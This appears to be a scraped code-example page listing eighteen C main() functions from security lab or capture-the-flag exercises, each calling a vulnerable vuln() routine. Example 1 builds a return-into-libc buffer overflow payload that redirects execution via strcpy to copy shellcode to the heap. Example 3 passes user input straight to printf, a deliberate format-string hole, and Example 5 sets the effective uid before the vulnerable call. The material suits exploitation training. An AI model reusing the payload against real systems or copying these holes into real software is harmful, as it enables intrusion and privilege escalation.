Esempio n. 1
0
main()
{
   char buf[512];
   char *p;
   void *strcpy_ptr;
   void *heap_base;

   signal(SIGTRAP, trap_handler);

   strcpy_ptr = (void*) &strcpy;
   printf("[+] strcpy is at %p\n", (unsigned long)strcpy_ptr);

   heap_base = (void*) malloc(getpagesize());
   printf("[+] heap base is at %p\n", (unsigned long)heap_base);

   memset(buf, 0x00, sizeof(buf));
   memset(buf, 0x41, 256);
   p = buf + 256;
   *((unsigned long*)p) = 0x42424242;  /* EBP */
   p += 4;
   *((unsigned long*)p) = (unsigned long) strcpy_ptr;  /* EIP */
   p += 4;
   *((unsigned long*)p) = (unsigned long) heap_base;  /* RET */
   p += 4;
   *((unsigned long*)p) = (unsigned long) heap_base;  /* ARG1 */
   p += 4;
   *((unsigned long*)p) = (unsigned long) &asmcode;  /* ARG2 */

   vuln(buf);

   printf("[-] Failed\n");
   exit(EXIT_FAILURE);
}
Esempio n. 2
0
File: p2.c Progetto: mibto/sws2-lab4
int main(int argc, char** argv) {
  if(argc != 2) {
    printf("Need more arguments!\n");
    return 1;
  }
  printf("OK\n");
  vuln(argv[1]);
  return 0;
}
Esempio n. 3
0
int main(int argc, char **argv){
    int *ptr = &key;
    printf(argv[1]);

    if (key > 9000){
        vuln();
    }
    return 0;
}
Esempio n. 4
0
int main()
{
	puts("I LIKE TO SEASHELLS");
	puts("===================");

	vuln();

	return 0;
}
Esempio n. 5
0
int main(int argc, char **argv) {
    if (argc != 2) {
        printf("Usage: stack_overwrite [str]\n");
        return 1;
    }

    uid_t euid = geteuid();
    setresuid(euid, euid, euid);
    vuln(0, argv[1]);
    return 0;
}
Esempio n. 6
0
int main(int argc, char **argv)
{
	if (argc != 2)
	{
		printf("Usage: overflow1 [str]\n");
		return 1;
	}

	vuln(argv[1]);

	return 0;
}
Esempio n. 7
0
int main(int argc, char **argv)
{
	if (argc != 2)
	{
		printf("Usage: art_of_the_shell [str]\n");
		return 1;
	}

	be_nice_to_people();
	vuln(argv[1]);

	return 0;
}
Esempio n. 8
0
int main( int argc, char *argv[] )
{

    if (argc < 2){
        printf("\n\tUsage %s <password> [-d]\n\n", argv[0]);
        return -1;
    } else if (argc == 3){
        deb = 1;
	printf("\n[+] Address of function \"secret\":\t%p\n", secret);
    }
    vuln(argv[1]);
    return 0;
}
Esempio n. 9
0
int main(int argc, char *argv[]) {
    printf("Try to exec /bin/sh");
    vuln();
    return 0;
}
Esempio n. 10
0
int main(int argc, char **argv){
    be_nice_to_people();
    if(argc > 1)
        vuln(argv[1]);
    return 0;
}
Esempio n. 11
0
int
main (int argc, char **argv)
{
  vuln ();
}
Esempio n. 12
0
int main(int argc, char **argv) {
    printf("Val: %s\n", argv[1]);
    vuln(argv[1]);

    return 0;
}
Esempio n. 13
0
int main(int argc, char **argv)
{
	vuln(argv[1]);
}
Esempio n. 14
0
int main(void) {

   vuln();

   return 0;
}
Esempio n. 15
0
int main(int argc, char* argv[])
{
  vuln();
  printf("Sorry, try again.");
  return 0;
}
Esempio n. 16
0
int main(int argc, char **argv) {
    vuln(argv[1]);
    return 1;
}
Esempio n. 17
0
int main(int argc, char* argv[])
{
  vuln();
  return 0;
}
Esempio n. 18
0
void main(int argc, void **argv) {

	if(argc > 1)
		vuln(argv[1]);
}
int main() {
    vuln();
}